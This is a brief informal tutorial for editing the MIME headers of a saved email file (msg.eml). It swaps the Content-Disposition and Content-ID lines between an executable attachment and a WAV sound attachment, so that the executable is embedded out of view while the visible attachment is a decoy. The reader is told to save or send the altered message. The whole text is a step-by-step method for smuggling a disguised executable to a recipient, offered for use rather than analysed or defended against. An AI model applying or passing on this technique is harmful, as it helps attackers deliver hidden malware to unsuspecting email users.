In the editor after you open msg.eml do like that:
-on the part of attachement file.exe we cut the:

Content-Disposition: attachment;
	filename="file.exe"

-and then paste it on the part of attachement ding.wav.It will show like this:

Content-Type: audio/wav;
	name="Ding.wav"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="file.exe"

-then at the part of attachement ding.wav we cut the content-id:

Content-ID: <000501bf50c4$332d92a0$0100007f@wincomputer>

-and we paste it at the part of attachement file.exe.It is going to apper like this:

Content-Type: application/x-msdownload;
	name="file.exe"
Content-Transfer-Encoding: base64
Content-ID: <000501bf50c4$332d92a0$0100007f@wincomputerr>

Then we save the msg.eml and we run it.You will see that on the attach it is appear file.exe,but that is not the real file.exe is ding.wav.Remove the file.exe from there.After that  you can save(or send it) the msg.eml.